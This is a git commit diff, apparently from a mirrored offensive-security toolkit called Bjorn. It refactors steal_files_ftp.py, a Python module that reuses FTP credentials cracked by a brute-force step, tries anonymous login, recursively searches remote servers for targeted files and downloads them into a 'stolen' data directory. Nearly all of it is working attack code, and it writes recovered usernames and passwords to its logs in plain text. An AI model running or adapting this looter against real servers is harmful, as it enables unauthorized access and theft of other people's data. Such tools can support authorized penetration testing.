mirror of
https://github.com/infinition/Bjorn.git
synced 2025-12-12 23:54:59 +00:00
BREAKING CHANGE: Complete refactor of architecture to prepare BJORN V2 release, APIs, assets, and UI, webapp, logics, attacks, a lot of new features...
This commit is contained in:
@@ -1,198 +1,248 @@
|
||||
"""
|
||||
steal_files_ftp.py - This script connects to FTP servers using provided credentials or anonymous access, searches for specific files, and downloads them to a local directory.
|
||||
steal_files_ftp.py — FTP file looter (DB-backed)
|
||||
|
||||
SQL mode:
|
||||
- Orchestrator provides (ip, port) after parent success (FTPBruteforce).
|
||||
- FTP credentials are read from DB.creds (service='ftp'); anonymous is also tried.
|
||||
- IP -> (MAC, hostname) via DB.hosts.
|
||||
- Loot saved under: {data_stolen_dir}/ftp/{mac}_{ip}/(anonymous|<username>)/...
|
||||
"""
|
||||
|
||||
import os
|
||||
import logging
|
||||
import time
|
||||
from rich.console import Console
|
||||
from threading import Timer
|
||||
from typing import List, Tuple, Dict, Optional
|
||||
from ftplib import FTP
|
||||
|
||||
from shared import SharedData
|
||||
from logger import Logger
|
||||
|
||||
# Configure the logger
|
||||
logger = Logger(name="steal_files_ftp.py", level=logging.DEBUG)
|
||||
|
||||
# Define the necessary global variables
|
||||
b_class = "StealFilesFTP"
|
||||
# Action descriptors
|
||||
b_class = "StealFilesFTP"
|
||||
b_module = "steal_files_ftp"
|
||||
b_status = "steal_files_ftp"
|
||||
b_parent = "FTPBruteforce"
|
||||
b_port = 21
|
||||
b_port = 21
|
||||
|
||||
|
||||
class StealFilesFTP:
|
||||
"""
|
||||
Class to handle the process of stealing files from FTP servers.
|
||||
"""
|
||||
def __init__(self, shared_data):
|
||||
try:
|
||||
self.shared_data = shared_data
|
||||
self.ftp_connected = False
|
||||
self.stop_execution = False
|
||||
logger.info("StealFilesFTP initialized")
|
||||
except Exception as e:
|
||||
logger.error(f"Error during initialization: {e}")
|
||||
def __init__(self, shared_data: SharedData):
|
||||
self.shared_data = shared_data
|
||||
self.ftp_connected = False
|
||||
self.stop_execution = False
|
||||
self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
|
||||
self._refresh_ip_identity_cache()
|
||||
logger.info("StealFilesFTP initialized")
|
||||
|
||||
def connect_ftp(self, ip, username, password):
|
||||
# -------- Identity cache (hosts) --------
|
||||
def _refresh_ip_identity_cache(self) -> None:
|
||||
self._ip_to_identity.clear()
|
||||
try:
|
||||
rows = self.shared_data.db.get_all_hosts()
|
||||
except Exception as e:
|
||||
logger.error(f"DB get_all_hosts failed: {e}")
|
||||
rows = []
|
||||
|
||||
for r in rows:
|
||||
mac = r.get("mac_address") or ""
|
||||
if not mac:
|
||||
continue
|
||||
hostnames_txt = r.get("hostnames") or ""
|
||||
current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else ""
|
||||
ips_txt = r.get("ips") or ""
|
||||
if not ips_txt:
|
||||
continue
|
||||
for ip in [p.strip() for p in ips_txt.split(';') if p.strip()]:
|
||||
self._ip_to_identity[ip] = (mac, current_hn)
|
||||
|
||||
def mac_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[0]
|
||||
|
||||
def hostname_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[1]
|
||||
|
||||
# -------- Credentials (creds table) --------
|
||||
def _get_creds_for_target(self, ip: str, port: int) -> List[Tuple[str, str]]:
|
||||
"""
|
||||
Establish an FTP connection.
|
||||
Return list[(user,password)] from DB.creds for this target.
|
||||
Prefer exact IP; also include by MAC if known. Dedup preserves order.
|
||||
"""
|
||||
mac = self.mac_for_ip(ip)
|
||||
params = {"ip": ip, "port": port, "mac": mac or ""}
|
||||
|
||||
by_ip = self.shared_data.db.query(
|
||||
"""
|
||||
SELECT "user","password"
|
||||
FROM creds
|
||||
WHERE service='ftp'
|
||||
AND COALESCE(ip,'')=:ip
|
||||
AND (port IS NULL OR port=:port)
|
||||
""", params)
|
||||
|
||||
by_mac = []
|
||||
if mac:
|
||||
by_mac = self.shared_data.db.query(
|
||||
"""
|
||||
SELECT "user","password"
|
||||
FROM creds
|
||||
WHERE service='ftp'
|
||||
AND COALESCE(mac_address,'')=:mac
|
||||
AND (port IS NULL OR port=:port)
|
||||
""", params)
|
||||
|
||||
seen, out = set(), []
|
||||
for row in (by_ip + by_mac):
|
||||
u = str(row.get("user") or "").strip()
|
||||
p = str(row.get("password") or "").strip()
|
||||
if not u or (u, p) in seen:
|
||||
continue
|
||||
seen.add((u, p))
|
||||
out.append((u, p))
|
||||
return out
|
||||
|
||||
# -------- FTP helpers --------
|
||||
def connect_ftp(self, ip: str, username: str, password: str) -> Optional[FTP]:
|
||||
try:
|
||||
ftp = FTP()
|
||||
ftp.connect(ip, 21)
|
||||
ftp.connect(ip, b_port, timeout=10)
|
||||
ftp.login(user=username, passwd=password)
|
||||
self.ftp_connected = True
|
||||
logger.info(f"Connected to {ip} via FTP with username {username}")
|
||||
logger.info(f"Connected to {ip} via FTP as {username}")
|
||||
return ftp
|
||||
except Exception as e:
|
||||
logger.error(f"FTP connection error for {ip} with user '{username}' and password '{password}': {e}")
|
||||
logger.info(f"FTP connect failed {ip} {username}:{password}: {e}")
|
||||
return None
|
||||
|
||||
def find_files(self, ftp, dir_path):
|
||||
"""
|
||||
Find files in the FTP share based on the configuration criteria.
|
||||
"""
|
||||
files = []
|
||||
def find_files(self, ftp: FTP, dir_path: str) -> List[str]:
|
||||
files: List[str] = []
|
||||
try:
|
||||
if self.shared_data.orchestrator_should_exit or self.stop_execution:
|
||||
logger.info("File search interrupted.")
|
||||
return []
|
||||
ftp.cwd(dir_path)
|
||||
items = ftp.nlst()
|
||||
|
||||
for item in items:
|
||||
if self.shared_data.orchestrator_should_exit or self.stop_execution:
|
||||
logger.info("File search interrupted.")
|
||||
return []
|
||||
|
||||
try:
|
||||
ftp.cwd(item)
|
||||
ftp.cwd(item) # if ok -> directory
|
||||
files.extend(self.find_files(ftp, os.path.join(dir_path, item)))
|
||||
ftp.cwd('..')
|
||||
except Exception:
|
||||
if any(item.endswith(ext) for ext in self.shared_data.steal_file_extensions) or \
|
||||
any(file_name in item for file_name in self.shared_data.steal_file_names):
|
||||
# not a dir => file candidate
|
||||
if any(item.endswith(ext) for ext in (self.shared_data.steal_file_extensions or [])) or \
|
||||
any(name in item for name in (self.shared_data.steal_file_names or [])):
|
||||
files.append(os.path.join(dir_path, item))
|
||||
logger.info(f"Found {len(files)} matching files in {dir_path} on FTP")
|
||||
except Exception as e:
|
||||
logger.error(f"Error accessing path {dir_path} on FTP: {e}")
|
||||
logger.error(f"FTP path error {dir_path}: {e}")
|
||||
raise
|
||||
return files
|
||||
|
||||
def steal_file(self, ftp, remote_file, local_dir):
|
||||
"""
|
||||
Download a file from the FTP server to the local directory.
|
||||
"""
|
||||
def steal_file(self, ftp: FTP, remote_file: str, base_dir: str) -> None:
|
||||
try:
|
||||
local_file_path = os.path.join(local_dir, os.path.relpath(remote_file, '/'))
|
||||
local_file_dir = os.path.dirname(local_file_path)
|
||||
os.makedirs(local_file_dir, exist_ok=True)
|
||||
local_file_path = os.path.join(base_dir, os.path.relpath(remote_file, '/'))
|
||||
os.makedirs(os.path.dirname(local_file_path), exist_ok=True)
|
||||
with open(local_file_path, 'wb') as f:
|
||||
ftp.retrbinary(f'RETR {remote_file}', f.write)
|
||||
logger.success(f"Downloaded file from {remote_file} to {local_file_path}")
|
||||
logger.success(f"Downloaded {remote_file} -> {local_file_path}")
|
||||
except Exception as e:
|
||||
logger.error(f"Error downloading file {remote_file} from FTP: {e}")
|
||||
logger.error(f"FTP download error {remote_file}: {e}")
|
||||
|
||||
def execute(self, ip, port, row, status_key):
|
||||
"""
|
||||
Steal files from the FTP server.
|
||||
"""
|
||||
# -------- Orchestrator entry --------
|
||||
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
|
||||
try:
|
||||
if 'success' in row.get(self.b_parent_action, ''): # Verify if the parent action is successful
|
||||
self.shared_data.bjornorch_status = "StealFilesFTP"
|
||||
logger.info(f"Stealing files from {ip}:{port}...")
|
||||
# Wait a bit because it's too fast to see the status change
|
||||
time.sleep(5)
|
||||
self.shared_data.bjorn_orch_status = b_class
|
||||
try:
|
||||
port_i = int(port)
|
||||
except Exception:
|
||||
port_i = b_port
|
||||
|
||||
# Get FTP credentials from the cracked passwords file
|
||||
ftpfile = self.shared_data.ftpfile
|
||||
credentials = []
|
||||
if os.path.exists(ftpfile):
|
||||
with open(ftpfile, 'r') as f:
|
||||
lines = f.readlines()[1:] # Skip the header
|
||||
for line in lines:
|
||||
parts = line.strip().split(',')
|
||||
if parts[1] == ip:
|
||||
credentials.append((parts[3], parts[4])) # Username and password
|
||||
logger.info(f"Found {len(credentials)} credentials for {ip}")
|
||||
creds = self._get_creds_for_target(ip, port_i)
|
||||
logger.info(f"Found {len(creds)} FTP credentials in DB for {ip}")
|
||||
|
||||
def try_anonymous_access():
|
||||
"""
|
||||
Try to access the FTP server without credentials.
|
||||
"""
|
||||
try:
|
||||
ftp = self.connect_ftp(ip, 'anonymous', '')
|
||||
return ftp
|
||||
except Exception as e:
|
||||
logger.info(f"Anonymous access to {ip} failed: {e}")
|
||||
return None
|
||||
def try_anonymous() -> Optional[FTP]:
|
||||
return self.connect_ftp(ip, 'anonymous', '')
|
||||
|
||||
if not credentials and not try_anonymous_access():
|
||||
logger.error(f"No valid credentials found for {ip}. Skipping...")
|
||||
return 'failed'
|
||||
if not creds and not try_anonymous():
|
||||
logger.error(f"No FTP credentials for {ip}. Skipping.")
|
||||
return 'failed'
|
||||
|
||||
def timeout():
|
||||
"""
|
||||
Timeout function to stop the execution if no FTP connection is established.
|
||||
"""
|
||||
if not self.ftp_connected:
|
||||
logger.error(f"No FTP connection established within 4 minutes for {ip}. Marking as failed.")
|
||||
self.stop_execution = True
|
||||
def _timeout():
|
||||
if not self.ftp_connected:
|
||||
logger.error(f"No FTP connection within 4 minutes for {ip}. Failing.")
|
||||
self.stop_execution = True
|
||||
|
||||
timer = Timer(240, timeout) # 4 minutes timeout
|
||||
timer.start()
|
||||
timer = Timer(240, _timeout)
|
||||
timer.start()
|
||||
|
||||
# Attempt anonymous access first
|
||||
success = False
|
||||
ftp = try_anonymous_access()
|
||||
if ftp:
|
||||
remote_files = self.find_files(ftp, '/')
|
||||
mac = row['MAC Address']
|
||||
local_dir = os.path.join(self.shared_data.datastolendir, f"ftp/{mac}_{ip}/anonymous")
|
||||
if remote_files:
|
||||
for remote_file in remote_files:
|
||||
if self.stop_execution:
|
||||
break
|
||||
self.steal_file(ftp, remote_file, local_dir)
|
||||
success = True
|
||||
countfiles = len(remote_files)
|
||||
logger.success(f"Successfully stolen {countfiles} files from {ip}:{port} via anonymous access")
|
||||
mac = (row or {}).get("MAC Address") or self.mac_for_ip(ip) or "UNKNOWN"
|
||||
success = False
|
||||
|
||||
# Anonymous first
|
||||
ftp = try_anonymous()
|
||||
if ftp:
|
||||
files = self.find_files(ftp, '/')
|
||||
local_dir = os.path.join(self.shared_data.data_stolen_dir, f"ftp/{mac}_{ip}/anonymous")
|
||||
if files:
|
||||
for remote in files:
|
||||
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Execution interrupted.")
|
||||
break
|
||||
self.steal_file(ftp, remote, local_dir)
|
||||
logger.success(f"Stole {len(files)} files from {ip} via anonymous")
|
||||
success = True
|
||||
try:
|
||||
ftp.quit()
|
||||
if success:
|
||||
timer.cancel() # Cancel the timer if the operation is successful
|
||||
|
||||
# Attempt to steal files using each credential if anonymous access fails
|
||||
for username, password in credentials:
|
||||
if self.stop_execution:
|
||||
break
|
||||
try:
|
||||
logger.info(f"Trying credential {username}:{password} for {ip}")
|
||||
ftp = self.connect_ftp(ip, username, password)
|
||||
if ftp:
|
||||
remote_files = self.find_files(ftp, '/')
|
||||
mac = row['MAC Address']
|
||||
local_dir = os.path.join(self.shared_data.datastolendir, f"ftp/{mac}_{ip}/{username}")
|
||||
if remote_files:
|
||||
for remote_file in remote_files:
|
||||
if self.stop_execution:
|
||||
break
|
||||
self.steal_file(ftp, remote_file, local_dir)
|
||||
success = True
|
||||
countfiles = len(remote_files)
|
||||
logger.info(f"Successfully stolen {countfiles} files from {ip}:{port} with user '{username}'")
|
||||
ftp.quit()
|
||||
if success:
|
||||
timer.cancel() # Cancel the timer if the operation is successful
|
||||
break # Exit the loop as we have found valid credentials
|
||||
except Exception as e:
|
||||
logger.error(f"Error stealing files from {ip} with user '{username}': {e}")
|
||||
|
||||
# Ensure the action is marked as failed if no files were found
|
||||
if not success:
|
||||
logger.error(f"Failed to steal any files from {ip}:{port}")
|
||||
return 'failed'
|
||||
else:
|
||||
except Exception:
|
||||
pass
|
||||
if success:
|
||||
timer.cancel()
|
||||
return 'success'
|
||||
|
||||
# Authenticated creds
|
||||
for username, password in creds:
|
||||
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Execution interrupted.")
|
||||
break
|
||||
try:
|
||||
logger.info(f"Trying FTP {username}:{password} @ {ip}")
|
||||
ftp = self.connect_ftp(ip, username, password)
|
||||
if not ftp:
|
||||
continue
|
||||
files = self.find_files(ftp, '/')
|
||||
local_dir = os.path.join(self.shared_data.data_stolen_dir, f"ftp/{mac}_{ip}/{username}")
|
||||
if files:
|
||||
for remote in files:
|
||||
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Execution interrupted.")
|
||||
break
|
||||
self.steal_file(ftp, remote, local_dir)
|
||||
logger.info(f"Stole {len(files)} files from {ip} as {username}")
|
||||
success = True
|
||||
try:
|
||||
ftp.quit()
|
||||
except Exception:
|
||||
pass
|
||||
if success:
|
||||
timer.cancel()
|
||||
return 'success'
|
||||
except Exception as e:
|
||||
logger.error(f"FTP loot error {ip} {username}: {e}")
|
||||
|
||||
timer.cancel()
|
||||
return 'success' if success else 'failed'
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
||||
return 'failed'
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
shared_data = SharedData()
|
||||
steal_files_ftp = StealFilesFTP(shared_data)
|
||||
# Add test or demonstration calls here
|
||||
except Exception as e:
|
||||
logger.error(f"Error in main execution: {e}")
|
||||
|
||||
Reference in New Issue
Block a user